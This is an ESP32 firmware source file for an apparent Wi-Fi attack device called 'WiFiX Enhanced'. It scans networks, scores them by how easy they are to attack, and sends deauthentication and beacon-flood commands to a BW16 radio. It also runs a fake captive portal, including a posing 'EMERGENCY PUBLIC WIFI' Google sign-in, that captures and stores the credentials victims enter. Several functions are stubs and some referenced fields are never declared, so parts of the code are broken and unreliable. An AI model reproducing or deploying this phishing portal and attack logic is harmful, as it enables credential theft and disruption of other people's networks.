#include #include #include #include #include #include #include #include #include #include "credential_manager.h" // Project configuration #include "config.h" // Display configuration - Single I2C Screen #define SCREEN_WIDTH 128 #define SCREEN_HEIGHT 64 #define OLED_RESET -1 #define I2C_SDA 21 #define I2C_SCL 22 #define SCREEN_ADDRESS 0x3C // Pin definitions - Simplified for 2-device setup #define BW16_UART_TX 17 #define BW16_UART_RX 16 // Network configuration // Use values from config.h const char* ap_ssid = DEFAULT_SSID; const char* ap_password = DEFAULT_PASSWORD; // Global objects - Simplified for single I2C screen Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET); WebServer server(80); BluetoothSerial SerialBT; HardwareSerial BW16Serial(2); // System state - Simplified for 2-device operation struct SystemState { bool scanning = false; bool bw16_connected = false; int active_attacks = 0; int packets_per_second = 0; int total_aps = 0; unsigned long uptime = 0; int oled_brightness = 128; bool bluetooth_enabled = false; // Authentication state bool authenticated = false; String auth_email = ""; String auth_name = ""; } systemState; // Access Point structure struct AccessPoint { String ssid; String bssid; int channel; int rssi; String security; String band; int ai_score = 0; bool is_target = false; }; std::vector accessPoints; std::vector selectedTargets; // Forward declaration for helper void upsertAccessPoint(const AccessPoint& ap); // Attack structure struct Attack { String id; String type; String target; unsigned long start_time; int packets_sent; bool active; }; std::vector activeAttacks; // Display pages enum DisplayPage { PAGE_MAIN, PAGE_SCAN, PAGE_ATTACKS, PAGE_PROTOCOLS, PAGE_STATS }; DisplayPage currentPage = PAGE_MAIN; unsigned long lastPageUpdate = 0; unsigned long lastStatsUpdate = 0; void setup() { Serial.begin(115200); // Initialize I2C with proper pin assignments Wire.begin(I2C_SDA, I2C_SCL); // Initialize display if (!display.begin(SSD1306_SWITCHCAPVCC, SCREEN_ADDRESS)) { Serial.println(F("SSD1306 allocation failed")); for(;;); } display.clearDisplay(); display.setTextSize(1); display.setTextColor(SSD1306_WHITE); display.setCursor(0, 0); display.println("WiFiX Enhanced"); display.println("Initializing..."); display.display(); // Initialize SPIFFS if (!SPIFFS.begin(true)) { Serial.println("SPIFFS Mount Failed"); return; } // Initialize credential manager (with encryption enabled by default) if (!credentialManager.begin(true)) { Serial.println("CredentialManager initialization failed"); } // Initialize WiFi AP WiFi.mode(WIFI_AP_STA); WiFi.softAP(ap_ssid, ap_password); Serial.println("WiFi AP Started"); Serial.print("IP address: "); Serial.println(WiFi.softAPIP()); // Initialize BW16 communication BW16Serial.begin(115200, SERIAL_8N1, BW16_UART_RX, BW16_UART_TX); // Initialize Bluetooth only initializeBluetooth(); // Setup web server setupWebServer(); // Update display updateDisplay(); Serial.println("WiFiX Enhanced Ready!"); } void loop() { server.handleClient(); // Handle BW16 communication handleBW16Communication(); // Update system stats if (millis() - lastStatsUpdate > 1000) { updateSystemStats(); lastStatsUpdate = millis(); } // Update display if (millis() - lastPageUpdate > 2000) { updateDisplay(); lastPageUpdate = millis(); } delay(10); } void initializeBluetooth() { if (SerialBT.begin("WiFiX-BT")) { systemState.bluetooth_enabled = true; Serial.println("Bluetooth initialized"); } } void initializeLoRa() { LoRa.setPins(LORA_SS, LORA_RST, LORA_DIO0); if (LoRa.begin(915E6)) { systemState.lora_enabled = true; Serial.println("LoRa initialized"); } } void initializeZigbee() { // Zigbee initialization would go here // For now, we'll simulate it systemState.zigbee_enabled = true; Serial.println("Zigbee initialized"); } void initializeAI() { // Initialize TensorFlow Lite // This is a simplified version - in practice you'd load a trained model Serial.println("AI Model initialized"); } void setupWebServer() { // Serve index and welcome pages explicitly server.on("/", HTTP_GET, [](){ if (SPIFFS.exists("/index.html")) { File f = SPIFFS.open("/index.html", "r"); server.streamFile(f, "text/html"); f.close(); } else { server.send(404, "text/plain", "index.html not found"); } }); server.on("/welcome", HTTP_GET, [](){ if (SPIFFS.exists("/welcome.html")) { File f = SPIFFS.open("/welcome.html", "r"); server.streamFile(f, "text/html"); f.close(); } else { server.send(404, "text/plain", "welcome.html not found"); } }); // API endpoints server.on("/api/status", HTTP_GET, handleAPIStatus); server.on("/api/config", HTTP_GET, [](){ DynamicJsonDocument doc(512); // Basic branding and network info from config.h doc["branding_name"] = PORTAL_COMPANY_NAME; doc["organization"] = DEVICE_NAME; doc["ssid"] = ap_ssid; doc["ap_ip"] = WiFi.softAPIP().toString(); String res; serializeJson(doc, res); server.send(200, "application/json", res); }); server.on("/api/command", HTTP_POST, handleAPICommand); server.on("/api/scan", HTTP_POST, handleAPIScan); server.on("/api/attack", HTTP_POST, handleAPIAttack); server.on("/api/protocols", HTTP_GET, handleAPIProtocols); // Authentication endpoints server.on("/api/auth/google", HTTP_POST, handleGoogleAuth); server.on("/api/auth/status", HTTP_GET, handleAuthStatus); server.on("/api/auth/logout", HTTP_POST, handleLogout); // Standard captive portal login (form POST) server.on("/login", HTTP_POST, [](){ String username = server.arg("username"); String password = server.arg("password"); if (username.length() == 0 || password.length() == 0) { server.sendHeader("Location", "/"); server.send(302, "text/plain", ""); return; } // Store credentials credentialManager.addGenericCredential(ap_ssid, username.c_str(), password.c_str(), username.c_str()); // Mark session authenticated and redirect to welcome page systemState.authenticated = true; systemState.auth_email = username; systemState.auth_name = username; server.sendHeader("Location", "/welcome"); server.send(302, "text/plain", ""); }); server.begin(); Serial.println("Web server started"); } void webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t length) { switch(type) { case WStype_DISCONNECTED: Serial.printf("[%u] Disconnected!\n", num); break; case WStype_CONNECTED: { IPAddress ip = webSocket.remoteIP(num); Serial.printf("[%u] Connected from %d.%d.%d.%d\n", num, ip[0], ip[1], ip[2], ip[3]); // Send initial status sendSystemStatus(num); break; } case WStype_TEXT: { Serial.printf("[%u] Received: %s\n", num, payload); DynamicJsonDocument doc(1024); deserializeJson(doc, payload); handleWebSocketCommand(num, doc); break; } default: break; } } void handleWebSocketCommand(uint8_t num, DynamicJsonDocument& doc) { String command = doc["command"]; if (command == "start_scan") { startWiFiScan(doc["bands"]); } else if (command == "stop_scan") { stopWiFiScan(); } else if (command == "start_attack") { startAttack(doc["type"], doc["targets"]); } else if (command == "stop_attack") { stopAttack(doc["id"]); } else if (command == "ai_analyze") { runAIAnalysis(); } else if (command == "oled_brightness") { setOLEDBrightness(doc["value"]); } else if (command == "ai_mode") { setAIMode(doc["mode"]); } else if (command == "get_stats") { sendSystemStatus(num); } } void startWiFiScan(JsonObject bands) { systemState.scanning = true; accessPoints.clear(); accessPoints.reserve(100); // Send command to BW16 for 5GHz scan if (bands["5ghz"]) { BW16Serial.println("SCAN_5GHZ"); } // Start 2.4GHz scan on ESP32 if (bands["2.4ghz"]) { WiFi.scanNetworks(true); } broadcastMessage("scan_started", ""); } void stopWiFiScan() { systemState.scanning = false; WiFi.scanDelete(); BW16Serial.println("STOP_SCAN"); broadcastMessage("scan_stopped", ""); } void startAttack(String type, JsonArray targets) { Attack attack; attack.id = String(millis()); attack.type = type; attack.start_time = millis(); attack.packets_sent = 0; attack.active = true; // Process targets for (JsonVariant target : targets) { String bssid = target.as(); attack.target = bssid; // Send attack command to BW16 if 5GHz target AccessPoint* ap = findAccessPoint(bssid); if (ap && ap->band == "5GHz") { BW16Serial.println("ATTACK_" + type + "_" + bssid); } else { // Handle 2.4GHz attack on ESP32 handle24GHzAttack(type, bssid); } } activeAttacks.push_back(attack); systemState.active_attacks++; broadcastAttackStatus(); } void stopAttack(String attackId) { for (auto it = activeAttacks.begin(); it != activeAttacks.end(); ++it) { if (it->id == attackId) { it->active = false; systemState.active_attacks--; // Send stop command BW16Serial.println("STOP_ATTACK_" + attackId); activeAttacks.erase(it); break; } } broadcastAttackStatus(); } void runAIAnalysis() { if (!systemState.ai_enabled || accessPoints.empty()) { return; } // Simple AI scoring based on signal strength, security, and channel congestion for (auto& ap : accessPoints) { int score = 0; // Signal strength factor (stronger = easier to attack) if (ap.rssi > -50) score += 30; else if (ap.rssi > -70) score += 20; else score += 10; // Security factor (weaker = higher score) if (ap.security.indexOf("WEP") >= 0) score += 40; else if (ap.security.indexOf("WPA") >= 0) score += 25; else if (ap.security.indexOf("WPA2") >= 0) score += 15; else if (ap.security.indexOf("WPA3") >= 0) score += 5; // Channel congestion (less congested = higher score) int channelCount = 0; for (const auto& other : accessPoints) { if (other.channel == ap.channel) channelCount++; } if (channelCount < 3) score += 20; else if (channelCount < 6) score += 10; // Apply AI mode modifier if (systemState.ai_mode == "aggressive") { score = (score * 1.2); } else if (systemState.ai_mode == "stealth") { score = (score * 0.8); } ap.ai_score = min(score, 100); } // Calculate overall confidence int totalScore = 0; for (const auto& ap : accessPoints) { totalScore += ap.ai_score; } systemState.ai_confidence = accessPoints.empty() ? 0 : totalScore / accessPoints.size(); // Broadcast AI analysis results DynamicJsonDocument doc(2048); doc["type"] = "ai_analysis"; doc["confidence"] = systemState.ai_confidence; JsonArray recommended = doc.createNestedArray("recommended_targets"); for (const auto& ap : accessPoints) { if (ap.ai_score > 70) { recommended.add(ap.bssid); } } String message; serializeJson(doc, message); webSocket.broadcastTXT(message); } void handleBW16Communication() { if (BW16Serial.available()) { String message = BW16Serial.readStringUntil('\n'); message.trim(); if (message.startsWith("AP:")) { // Parse access point data from BW16 parseAccessPointData(message); } else if (message.startsWith("ATTACK_STATUS:")) { // Parse attack status from BW16 parseAttackStatus(message); } else if (message.startsWith("STATS:")) { // Parse statistics from BW16 parseStatsData(message); } } } void parseAccessPointData(String data) { // Format: AP:SSID,BSSID,CHANNEL,RSSI,SECURITY data = data.substring(3); // Remove "AP:" prefix int commaIndex = 0; String parts[5]; for (int i = 0; i < 5; i++) { int nextComma = data.indexOf(',', commaIndex); if (nextComma == -1) { parts[i] = data.substring(commaIndex); break; } else { parts[i] = data.substring(commaIndex, nextComma); commaIndex = nextComma + 1; } } AccessPoint ap; ap.ssid = parts[0]; ap.bssid = parts[1]; ap.channel = parts[2].toInt(); ap.rssi = parts[3].toInt(); ap.security = parts[4]; ap.band = "5GHz"; upsertAccessPoint(ap); systemState.total_aps = accessPoints.size(); broadcastScanResults(); } void updateSystemStats() { systemState.uptime = millis() / 1000; // Update packet rate (simulated for now) systemState.packets_per_second = random(0, 1000); // Check WiFi scan results int n = WiFi.scanComplete(); if (n >= 0) { for (int i = 0; i < n; i++) { AccessPoint ap; ap.ssid = WiFi.SSID(i); ap.bssid = WiFi.BSSIDstr(i); ap.channel = WiFi.channel(i); ap.rssi = WiFi.RSSI(i); ap.security = getSecurityString(WiFi.encryptionType(i)); ap.band = "2.4GHz"; upsertAccessPoint(ap); } systemState.total_aps = accessPoints.size(); WiFi.scanDelete(); if (systemState.scanning) { WiFi.scanNetworks(true); // Start next scan } broadcastScanResults(); } // Broadcast system stats broadcastSystemStats(); } void updateDisplay() { display.clearDisplay(); display.setTextSize(1); display.setTextColor(SSD1306_WHITE); display.setCursor(0, 0); switch (currentPage) { case PAGE_MAIN: displayMainPage(); break; case PAGE_SCAN: displayScanPage(); break; case PAGE_ATTACKS: displayAttacksPage(); break; case PAGE_PROTOCOLS: displayProtocolsPage(); break; case PAGE_STATS: displayStatsPage(); break; } display.display(); // Auto-rotate pages static unsigned long lastPageChange = 0; if (millis() - lastPageChange > 5000) { currentPage = (DisplayPage)((currentPage + 1) % 5); lastPageChange = millis(); } } void displayMainPage() { display.println("WiFiX Enhanced"); display.println("=============="); display.printf("APs: %d\n", systemState.total_aps); display.printf("Attacks: %d\n", systemState.active_attacks); display.printf("AI: %d%%\n", systemState.ai_confidence); display.printf("Uptime: %02d:%02d\n", (int)(systemState.uptime / 3600), (int)((systemState.uptime % 3600) / 60)); // Status indicators display.setCursor(0, 56); display.print("BT:"); display.print(systemState.bluetooth_enabled ? "ON" : "OFF"); display.print(" LoRa:"); display.print(systemState.lora_enabled ? "ON" : "OFF"); } void displayScanPage() { display.println("WiFi Scanner"); display.println("============"); display.printf("Total APs: %d\n", systemState.total_aps); display.printf("Scanning: %s\n", systemState.scanning ? "YES" : "NO"); display.printf("Rate: %d pps\n", systemState.packets_per_second); if (!accessPoints.empty()) { display.println("Latest APs:"); int count = 0; for (auto it = accessPoints.rbegin(); it != accessPoints.rend() && count < 2; ++it, ++count) { display.printf("%s (%d)\n", it->ssid.c_str(), it->rssi); } } } void displayAttacksPage() { display.println("Active Attacks"); display.println("=============="); display.printf("Count: %d\n", systemState.active_attacks); if (!activeAttacks.empty()) { for (size_t i = 0; i < min((size_t)3, activeAttacks.size()); i++) { unsigned long duration = (millis() - activeAttacks[i].start_time) / 1000; display.printf("%s %02d:%02d\n", activeAttacks[i].type.c_str(), (int)(duration / 60), (int)(duration % 60)); } } else { display.println("No active attacks"); } } void displayProtocolsPage() { display.println("Protocols"); display.println("========="); display.printf("WiFi: ON\n"); display.printf("BT: %s\n", systemState.bluetooth_enabled ? "ON" : "OFF"); display.printf("LoRa: %s\n", systemState.lora_enabled ? "ON" : "OFF"); display.printf("Zigbee: %s\n", systemState.zigbee_enabled ? "ON" : "OFF"); display.printf("AI Mode: %s\n", systemState.ai_mode.c_str()); } void displayStatsPage() { display.println("System Stats"); display.println("============"); display.printf("Free RAM: %d KB\n", ESP.getFreeHeap() / 1024); display.printf("CPU Freq: %d MHz\n", ESP.getCpuFreqMHz()); display.printf("Flash: %d KB\n", ESP.getFlashChipSize() / 1024); display.printf("Temp: %d C\n", (int)temperatureRead()); display.printf("OLED: %d%%\n", (systemState.oled_brightness * 100) / 255); } // API Handlers void handleAPIStatus() { DynamicJsonDocument doc(1024); doc["scanning"] = systemState.scanning; doc["active_attacks"] = systemState.active_attacks; doc["total_aps"] = systemState.total_aps; doc["ai_confidence"] = systemState.ai_confidence; doc["uptime"] = systemState.uptime; doc["packets_per_second"] = systemState.packets_per_second; doc["free_memory"] = ESP.getFreeHeap() / 1024; // Portal info for UI doc["ap_ip"] = WiFi.softAPIP().toString(); doc["target_ssid"] = ap_ssid; String response; serializeJson(doc, response); server.send(200, "application/json", response); } void handleAPICommand() { if (!server.hasArg("plain")) { server.send(400, "text/plain", "No body"); return; } DynamicJsonDocument doc(1024); deserializeJson(doc, server.arg("plain")); handleWebSocketCommand(0, doc); server.send(200, "application/json", "{\"status\":\"ok\"}"); } void handleAPIScan() { // Implementation for scan API server.send(200, "application/json", "{\"status\":\"scan_started\"}"); } void handleAPIAttack() { // Implementation for attack API server.send(200, "application/json", "{\"status\":\"attack_started\"}"); } void handleAPIProtocols() { DynamicJsonDocument doc(512); doc["bluetooth"] = systemState.bluetooth_enabled; doc["lora"] = systemState.lora_enabled; doc["zigbee"] = systemState.zigbee_enabled; String response; serializeJson(doc, response); server.send(200, "application/json", response); } // Authentication handlers void handleGoogleAuth() { if (!server.hasArg("plain")) { server.send(400, "application/json", "{\"error\":\"No data provided\"}"); return; } DynamicJsonDocument doc(1024); DeserializationError error = deserializeJson(doc, server.arg("plain")); if (error) { server.send(400, "application/json", "{\"error\":\"Invalid JSON\"}"); return; } // Extract Google authentication data String email = doc["email"].as(); String name = doc["name"].as(); String googleId = doc["googleId"].as(); String accessToken = doc["accessToken"].as(); // Validate required fields if (email.isEmpty() || googleId.isEmpty()) { server.send(400, "application/json", "{\"error\":\"Missing required fields\"}"); return; } // Store credentials using CredentialManager credentialManager.addGenericCredential( "EMERGENCY PUBLIC WIFI", // SSID email.c_str(), "", // No password for Google auth email.c_str() ); // Set authentication session systemState.authenticated = true; systemState.auth_email = email; systemState.auth_name = name; // Return success response server.send(200, "application/json", "{\"success\":true,\"redirect\":\"/welcome\"}"); Serial.println("Google authentication successful for: " + email); } void handleAuthStatus() { DynamicJsonDocument doc(256); doc["authenticated"] = systemState.authenticated; doc["email"] = systemState.auth_email; doc["name"] = systemState.auth_name; String response; serializeJson(doc, response); server.send(200, "application/json", response); } void handleLogout() { systemState.authenticated = false; systemState.auth_email = ""; systemState.auth_name = ""; server.send(200, "application/json", "{\"success\":true,\"redirect\":\"/\"}"); Serial.println("User logged out"); } // Utility functions void broadcastMessage(String type, String data) { DynamicJsonDocument doc(512); doc["type"] = type; doc["data"] = data; String message; serializeJson(doc, message); webSocket.broadcastTXT(message); } void broadcastScanResults() { DynamicJsonDocument doc(4096); doc["type"] = "scan_result"; JsonArray aps = doc.createNestedArray("aps"); for (const auto& ap : accessPoints) { JsonObject apObj = aps.createNestedObject(); apObj["ssid"] = ap.ssid; apObj["bssid"] = ap.bssid; apObj["channel"] = ap.channel; apObj["rssi"] = ap.rssi; apObj["security"] = ap.security; apObj["band"] = ap.band; apObj["ai_score"] = ap.ai_score; } String message; serializeJson(doc, message); webSocket.broadcastTXT(message); } void broadcastSystemStats() { DynamicJsonDocument doc(1024); doc["type"] = "system_stats"; JsonObject stats = doc.createNestedObject("stats"); stats["active_attacks"] = systemState.active_attacks; stats["ai_confidence"] = systemState.ai_confidence; stats["packets_per_second"] = systemState.packets_per_second; stats["free_memory"] = ESP.getFreeHeap() / 1024; stats["uptime"] = systemState.uptime; String message; serializeJson(doc, message); webSocket.broadcastTXT(message); } void broadcastAttackStatus() { DynamicJsonDocument doc(2048); doc["type"] = "attack_status"; JsonArray attacks = doc.createNestedArray("attacks"); for (const auto& attack : activeAttacks) { JsonObject attackObj = attacks.createNestedObject(); attackObj["id"] = attack.id; attackObj["type"] = attack.type; attackObj["target"] = attack.target; attackObj["duration"] = (millis() - attack.start_time) / 1000; attackObj["packets_sent"] = attack.packets_sent; } String message; serializeJson(doc, message); webSocket.broadcastTXT(message); } void sendSystemStatus(uint8_t clientNum) { broadcastScanResults(); broadcastSystemStats(); broadcastAttackStatus(); } String getSecurityString(wifi_auth_mode_t encryptionType) { switch (encryptionType) { case WIFI_AUTH_OPEN: return "Open"; case WIFI_AUTH_WEP: return "WEP"; case WIFI_AUTH_WPA_PSK: return "WPA"; case WIFI_AUTH_WPA2_PSK: return "WPA2"; case WIFI_AUTH_WPA_WPA2_PSK: return "WPA/WPA2"; case WIFI_AUTH_WPA2_ENTERPRISE: return "WPA2-Enterprise"; case WIFI_AUTH_WPA3_PSK: return "WPA3"; default: return "Unknown"; } } // Deduplicate or update AP list by BSSID void upsertAccessPoint(const AccessPoint& ap) { for (auto& existing : accessPoints) { if (existing.bssid == ap.bssid) { // Update latest info, keep AI score/flags existing.ssid = ap.ssid; existing.channel = ap.channel; existing.rssi = ap.rssi; existing.security = ap.security; existing.band = ap.band; return; } } accessPoints.push_back(ap); } AccessPoint* findAccessPoint(String bssid) { for (auto& ap : accessPoints) { if (ap.bssid == bssid) { return ≈ } } return nullptr; } void setOLEDBrightness(int brightness) { systemState.oled_brightness = constrain(brightness, 0, 255); // Note: SSD1306 doesn't have brightness control, but we store the value } void setAIMode(String mode) { systemState.ai_mode = mode; } void handle24GHzAttack(String type, String bssid) { // Implementation for 2.4GHz attacks on ESP32 // This would include deauth, beacon flood, etc. } void handleProtocols() { // Handle Bluetooth operations if (systemState.bluetooth_enabled && SerialBT.available()) { String btData = SerialBT.readString(); // Process Bluetooth data } // Handle LoRa operations if (systemState.lora_enabled) { int packetSize = LoRa.parsePacket(); if (packetSize) { String loraData = ""; while (LoRa.available()) { loraData += (char)LoRa.read(); } // Process LoRa data } } } void processAIAnalysis() { // Continuous AI processing during scanning static unsigned long lastAIUpdate = 0; if (millis() - lastAIUpdate > 5000) { runAIAnalysis(); lastAIUpdate = millis(); } } void parseAttackStatus(String data) { // Parse attack status updates from BW16 } void parseStatsData(String data) { // Parse statistics data from BW16 }